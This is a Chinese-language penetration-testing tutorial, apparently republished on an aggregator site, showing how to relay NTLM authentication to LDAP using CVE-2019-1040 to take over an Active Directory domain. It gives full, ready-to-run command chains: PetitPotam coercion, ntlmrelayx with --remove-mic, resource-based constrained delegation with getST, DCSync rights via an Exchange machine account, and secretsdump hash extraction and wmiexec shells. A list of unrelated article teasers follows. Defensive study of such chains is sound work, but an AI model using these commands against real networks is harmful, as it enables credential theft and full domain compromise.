NTLM 中继到 LDAP 结合 CVE-2019-1040 接管全域

目录

LDAP中继

LDAP签名

CVE-2019-1040 NTLM MIC 绕过漏洞

漏洞背景

漏洞利用链

利用方式 1:配置基于资源的约束委派-攻击域控

利用方式 2:攻击 Exchange

Exchange windows permissions 组介绍

复现


LDAP中继

LDAP(轻量级目录访问协议) 是域控制器用来访问和管理 Active Directory 的协议,它也支持 NTLM 身份验证。因此,攻击者可以利用 NTLM 中继将身份验证请求转发到 LDAP 服务,从而实现对 Active Directory 的修改或访问。

LDAP签名

LDAP签名的目的是通过对数据包进行完整性检查,防止中间人攻击和篡改请求。默认情况下,LDAP服务器是协商签名,而非强制签名。是否签名是由客户端决定的。客户端分情况,如果是smb协议的话,默认要求签名的,如果是webadv或者http协议,是不要求签名的。

通过打印机漏洞获取的net-ntlm 响应,发起的请求是Smb协议的请求,这也意味着我们客户端默认是要求签名的。所以我们需要进行绕过。

客户端将签名与否的决定通过ntlm认证中的一个标志位来发送给服务端,因为发起者是smb协议,默认这个标志位为1,服务端会选择进行签名。但是如果我们修改为0的话,又因为微软有一套MIC校验机制,将导致 MIC 无效并且身份验证失败。而CVE-2019-1040漏洞可绕过NTLM MIC的防护机制,以使我们修改标志位,来让服务器不进行 ldap 签名。在 ntlmrelayx.py 中通过设置选项 --remove-mic 来使用 CVE-2019-1040 绕过签名。

CVE-2019-1040 NTLM MIC 绕过漏洞

漏洞背景

2019年6月11日,微软发布6月份安全补丁更新。在该安全补丁更新中,对 CVE-2019-1040 漏洞进行了修复。该漏洞存在于Windwos 大部分版本中,当中间人攻击者能够成功绕过NTLM 消息完整性校验(MIC)时,Windows 存在可能可篡改的漏洞。成功利用此漏洞的攻击者可以获得降级 NTLM 安全功能的能力。要利用此漏洞,攻击者需要篡改NTLM 交换,然后修改NTLM 数据包的标志,而不会使签名无效。结合其他漏洞和机制,在某些场景下,攻击者可以在仅有一个普通账户域账户的情况下接管全域。

漏洞利用链

漏洞完整利用链需要结合NTLM Relay。完整的攻击链如下:

  • 使用域内任意有效账户,通过SMB连接到目标机器,使用Print Spooler 漏洞或者PetitPotam漏洞强制触发目标机器向指定的机器进行NTLM 认证;
  • 中继服务器收到目标机器的NTLM 认证流量后,通过删除相应的字段绕过NTLM 的完整性校验并修改NTLM 数据包的标志位使得其从SMB协议中继到LDAP 不需要签名;
  • 使用中继的LDAP流量,通过LDAP远程连接域控,执行高权限操作,赋予指定的账户高权限;
  • 使用提升了权限的账户进行“后利用”,接管全域。

1、触发目标NTLM请求

攻击者需要向目标机器发起NTLM请求才能进行NTLM Relay利用,这里可以利用使用Print Spooler 漏洞或者 PetitPotam 漏洞强制触发目标机器向指定的机器进行NTLM 认证

2、LDAP 签名绕过

由于通过Print Spooler 漏洞和PetitPotam漏洞触发的NTLM 认证都是基于SMB协议的,因此目标需要将SMB 协议的身份验证流量通过LDAP中继到域控。但是NTLM 认证的工作方式决定了无法直接将SMB协议流量中继到LDAP。默认情况下,客户端和域控或Exchange服务器进行SMB通行时,是强制要求签名的。

此时将SMB流量中继到LDAP时,由于Negotiate Sign 和 Negotiate Always Sign 标志为Set,该标志位触发LDAP签名。而我们又无法伪造签名,因此会被LDAP忽略,导致攻击失败。而 CVE-2019-1040 的关键就在于我们能绕过NTLM的消息完整性校验,导致可以任意修改NTLM认证的的数据包。因此当我们在绕过消息完整性校验之后,可以修改流量的标志位已协商不开启LDAP签名校验。

利用方式 1:配置基于资源的约束委派-攻击域控

攻击域控需要目标域内至少存在两台域控:一台用于通过 PetitPotam 触发NTLM身份验证请求。另一台用于接收中继请求到本地的LDAP服务。

  • 域控 win2016:192.168.10.2
  • 域控 2:192.168.10.3(为辅助域控,也可以换成其他想要被获取权限的机器)
  • kali:192.168.10.17

1. 添加机器账号

利用普通域用户在域中添加一个机器账户 test$/Aa123.com,以便稍后通过 LDAP 配置 RBCD。

python3 addcomputer.py test.lab/lucy:lucy.com -computer-name test\$ -computer-pass Aa123.com -dc-ip 192.168.10.2

2. 设置NTLM中继服务器

kali启动 ntlmrelayx.py。ntlmrelayx.py 将接收的身份验证请求中继到域控制器的 LDAP 服务(192.168.10.2),同时修改域控 2 机器账号的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性为 test$ 的 sid 值。这样,test$ 就可以代表目标机器向 Kerberos 请求服务票据,从而获取域控 2 的权限。

python3 ntlmrelayx.py -t ldap://192.168.10.2 -debug --delegate-access --escalate-user test\$ -smb2support --remove-mic

● -t ldap://192.168.10.2: 指定中继的目标为 LDAP 服务。

● --delegate-access: 用于配置基于资源的约束委派。

● --escalate-user test$: 将 RBCD 的权限设置到 test$。

● --remove-mic: 通过 CVE-2019-1040 漏洞绕过NTLM MIC的防护机制,以使我们修改标志位,来让服务器不进行ldap签名。

3. 触发 NTLM 身份验证

通过 PetitPotam 触发域控 2 向 kali 发起 NTLM 身份验证请求。(在低版本 08和12下可以匿名触发,不需要域用户。在16版本及以上,就需要指定一个普通域用户账号和密码)

Kali 服务器会将这个请求中继到指定的 LDAP 服务(192.168.10.2),并尝试执行 RBCD 配置

python3 petitpotam.py -d test.lab -u lucy -p lucy.com 192.168.10.17 192.168.10.3
#192.168.10.17 kali ip
#192.168.10.3 域控2的ip

此时在ntlmrelayx.py 中可观察到,成功修改域控 2 机器账号 DC-2$ 的 "msds-allowedtoactonbehalfofotheridentity" 值为机器账号 test$的sid值。即配置基于资源的约束委派,通过设置该属性,允许机器账户 test$ 代表域控 2 上的其他用户(如 administrator)的身份执行操作。

#后面要清除DC-2$ 的 "msds-allowedtoactonbehalfofotheridentity" 值,请在dc上执行
powershell
$TargetAccountDN = "CN=DC-2,OU=Domain Controllers,DC=test,DC=lab"
Set-ADComputer -Identity $TargetAccountDN -Clear "msds-allowedtoactonbehalfofotheridentity"
#查看是否成功清除
Get-ADComputer -Identity "DC-2" -Properties * | Select-Object msds-allowedtoactonbehalfofotheridentity

4. 申请服务票据

利用 test$ 的 RBCD 权限,向 KDC 请求代表 administrator 的服务票据(TGS)

#使用getST.py申请票据
python3 getST.py test.lab/test$:Aa123.com -spn cifs/dc-2.test.lab -impersonate administrator -dc-ip 192.168.10.2
#导入票据
export KRB5CCNAME=/root/Desktop/neiwangTools/administrator@cifs_server1.test.lab@TEST.LAB.ccache
#添加hosts
vim /etc/hosts,添加 192.168.10.3 dc-2.test.lab
#导出域内hash
python3 secretsdump.py -k -no-pass dc-2.test.lab -just-dc
#获取dc-2权限
python3 wmiexec.py -k test.lab/administrator@dc-2.test.lab -no-pass -codec gbk

通过中继到 LDAP,攻击者实现了对 RBCD 的配置修改,使低权限账户(如 test$)可以代表高权限用户(如 administrator)进行操作。

利用方式 2:攻击 Exchange

Exchange windows permissions 组介绍

Microsoft Exchange Security Groups 是一组在 Exchange 安装后默认创建的 AD 安全组,其中有两个重要的组:

  1. Exchange Windows Permissions 组:该组的用户或计算机对象对域内其他对象(如用户、组、计算机等)具有 WriteDACL 权限,这意味着它们可以修改这些对象的访问控制列表(ACL),从而赋予他们额外的权限。
  2. Exchange Trusted Subsystem 组:这个组又隶属于Exchange Windows Permission,继承了Exchange Windows Permission组的权限。所以Exchange Trusted Subsystem 组的成员也拥有 writeDACL 权限。而 Exchange Trusted Subsystem 组成员默认只有 Exchange 机器账号。

如果攻击者能够利用 Exchange Trusted Subsystem 组的成员凭据,则可以

  1. 修改其他用户(如普通用户或高权限用户)的 ACL。
  2. 为目标用户(如 lucy)添加 DCSync 权限,实现权限提升。

复现

  • win2012R2 系统中安装的Exchange2016:192.168.10.10
  • win2016 域控:192.168.10.2
  • kali:192.168.10.17

攻击流程介绍:

  1. 使用 petitpotam 触发 Exchange 机器账号向 ntlmrelayx.py 发起 NTLM 身份验证请求;
  2. ntlmrelayx.py 接收来自 Exchange 机器的 NTLM 身份验证请求,并将其中继到域控制器的 LDAP 服务(192.168.10.2)。在中继过程中,攻击者实际上借用了 Exchange 机器账号的凭据,以其身份向域控制器进行交互。
  3. 利用 Exchange 机器账号的 WriteDACL 权限:Exchange 机器账号 是 Exchange Trusted Subsystem 的成员,继承了 Exchange Windows Permissions 组的权限。该账号拥有对域内其他对象的 WriteDACL 权限。攻击者利用这个权限,通过 LDAP 修改目标用户(lucy)的 ACL,将 DCSync 权限(即 Replicating Directory Changes 和 Replicating Directory Changes All 权限)添加到 lucy 用户上。
  4. lucy 权限提升:一旦 lucy 被赋予 DCSync 权限,就能从域控导出 hash
python3 ntlmrelayx.py -t ldap://192.168.10.2 --remove-mic --escalate-user lucy -smb2support
python3 petitpotam.py -d test.lab -u lucy -p lucy.com 192.168.10.17 192.168.10.10

python3 secretsdump.py test.lab/lucy:"lucy.com"@192.168.10.2 -just-dc-ntlm

最后从域控上查看下拥有 dcsync 权限的对象,显示用户 lucy 拥有 Replicating Directory Changes 和 Replicating Directory Changes ALL 权限即 DCSync 权限。

AdFind.exe -s subtree -b "DC=test,DC=lab" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute

参考:

域控常见打法总结

奇安信攻防社区-NTLM realy

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/496201.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何通过采购管理系统实现智能化采购?

随着人工智能、大数据等技术的快速发展,采购管理逐步迈入智能化时代。智能化采购不仅提升了效率,还为企业提供了更精准的采购决策支持。本文将从智能化采购的优势出发,探讨采购管理系统如何助力企业实现这一目标。 文中用到的采购管理系统&a…

STM32学习(一)

STM32是什么 STM32是意法半导体(ST)公司基于ARM Cortex-M内核开发的32位微控制器‌。他的名字是由;意大利SGS&法国Thomson共同研制的,中国人民取两家公司名称的首字母于是ST就是这样来的,M是单片机M-Micro Contro…

C# 读取多种CAN报文文件转换成统一格式数据,工具类:CanMsgRead

因为经常有读取CAN报文trace文件的需求,而且因为CAN卡不同、记录软件不同会导致CAN报文trace文件的格式都有差异。为了方便自己后续开发,我写了一个CanMsgRead工具类,只要提供CAN报文路径和CAN报文格式的选项即可将文件迅速读取转换为统一的C…

hiprint结合vue2项目实现静默打印详细使用步骤

代码地址是:vue-plugin-hiprint: hiprint for Vue2/Vue3 ⚡打印、打印设计、可视化设计器、报表设计、元素编辑、可视化打印编辑 本地安装包地址:electron-hiprint 发行版 - Gitee.com 1、先安装hipint安装包在本地 2、项目运行npm(socket.…

WPF+MVVM案例实战与特效(四十七)-实现一个路径绘图的自定义按钮控件

文章目录 1、案例效果2、创建自定义 PathButton 控件1、定义 PathButton 类2、设计样式与控件模板3、代码解释3、控件使用4、直接在 XAML 中绑定命令3、源代码获取4、总结1、案例效果 2、创建自定义 PathButton 控件 1、定义 PathButton 类 首先,我们需要创建一个新的类 Pat…

《传染病与人类历史》传染病如何推动人类历史进程

《传染病与人类历史》传染病如何推动人类历史进程 Epidemics: The Impact of Germs and Their Power Over Humanity Joshua S. Loomis(约书亚S卢米斯)美国,教授,微生物学家。主要教授微生物学、遗传学、免疫学、细胞生物学与传染病…

如何检查交叉编译器gcc工具链里是否有某个库(以zlib库和libpng库为例)

freetype 依赖于 libpng,libpng 又依赖于 zlib,所以我们应该:先编译 安装 zlib,再编译安装 libpng,最后编译安装 freetype。 但是,有些交叉编译器工具链里已经有 zlib库和freetype,所以我们需要…

MySql详细教程-从入门到进阶(超实用)

基础篇 通用语法及分类 DDL: 数据定义语言,用来定义数据库对象(数据库、表、字段)DML: 数据操作语言,用来对数据库表中的数据进行增删改DQL: 数据查询语言,用来查询数据库中表的记录DCL: 数据控制语言,用…

Burp炮台实现(动态ip发包)

基本步骤 1.使用 zmap 爬取大量代理ip 2.使用py1脚本初步筛选可用ip 3.利用py2脚本再次筛选对目标网站可用ip(不带payload安全检测) 4.配置 burp 插件并加载收集到的代理池 5.加载payload,开始爆破 Zmap kali安装 sudo apt update apt …

海外招聘丨 苏黎世联邦理工学院—机器学习在社会和政治科学中的应用博士后

雇主简介 苏黎世联邦理工学院是世界领先的科技大学之一。我们以优质的教育、尖端的基础研究和将新知识直接转化为社会而闻名。来自 120 多个国家的 30,000 多名学生认为我们的大学是一个鼓励独立思考和激励卓越的环境的地方。 我们位于欧洲中心,但与世界各地建立联…

【微信小程序】3|首页搜索框 | 我的咖啡店-综合实训

首页-搜索框-跳转 引言 在微信小程序中,首页的搜索框是用户交互的重要入口。本文将通过“我的咖啡店”小程序的首页搜索框实现,详细介绍如何在微信小程序中创建和处理搜索框的交互。 1. 搜索函数实现 onClickInput函数在用户点击搜索框时触发&#x…

VS Code AI开发之Copilot配置和使用详解

随着AI开发工具的迅速发展,GitHub Copilot在Cursor、Winsuf、V0等一众工具的冲击下,推出了免费版本。接下来,我将为大家介绍GitHub Copilot的配置和使用方法。GitHub Copilot基于OpenAI Codex模型,旨在为软件开发者提供智能化的代…

表达式语句、复合语句和空语句

欢迎拜访:雾里看山-CSDN博客 本篇主题:表达式语句、复合语句和空语句 发布时间:2024.12.26 隶属专栏:C语言 目录 1. 表达式语句定义作用常见类型赋值语句函数调用语句 2. 复合语句定义作用变量作用域 3. 空语句定义作用 1. 表达式…

数学建模助力干细胞研究,配体纳米簇如何影响干细胞命运

大家好!今天来了解一篇关于对干细胞行为的可逆调控的研究——《Modularity-based mathematical modeling of ligand inter-nanocluster connectivity for unraveling reversible stem cell regulation》发表于《Nature Communications》。这项研究利用图论对细胞外基…

HTMLCSS:超炫丝滑的卡片水波纹效果

这段代码创建了一个卡片,卡片上有三个波动效果,这些波动效果通过 CSS 的keyframes 动画实现,创建了一个旋转的动画效果。这种效果适用于创建动态的视觉效果,例如音乐播放器的封面、动态背景或其他需要动态效果的界面元素。 演示效…

pytorch MoE(专家混合网络)的简单实现。

专家混合(Mixture of Experts, MoE)是一种深度学习模型架构,通常用于处理大规模数据和复杂任务。它通过将输入分配给多个专家网络(即子模型),然后根据门控网络(gating network)的输出…

K8s证书过期

part of the existing bootstrap client certificate is expired: 2023-11-27 12:44:12 0000 UTC 查看运行日志: journalctl -xefu kubelet 重新生成证书: #重新生成证书 kubeadm alpha certs renew all #备份旧的配置文件 mv /etc/kubernetes/*.conf…

B端UI设计规范是什么?

一、B端UI设计规范是什么? B端UI设计规范是一套针对企业级应用界面设计的全面规则和标准,旨在确保产品界面的一致性、可用性和用户体验。 二、B端UI设计规范要素说明 B端UI设计的基本要素包括设计原则、主题、布局、颜色、字体、图标、按钮和控件、交互…

记录一次前端绘画海报的过程及遇到的几个问题

先看效果 使用工具 html2canvas import html2canvas from html2canvas// 绘画前的内容 我就不过多写了<div class"content" ref"contentRef" v-show"!imgShow"><img :src"getReplaceImg(friendObj.coverUrl)" alt"&qu…

mysql性能问题排查

生产环境 Mysql执行性能分析 问题排查思路通过 performance_schema 分析performance_schema 说明查询 performance_schema 所有表信息performance_schema 相关表 主要相关介绍events_statements_history 分析慢查询 和查询当时状态字段说明 问题排查思路 查询慢SQL日志查询SQL…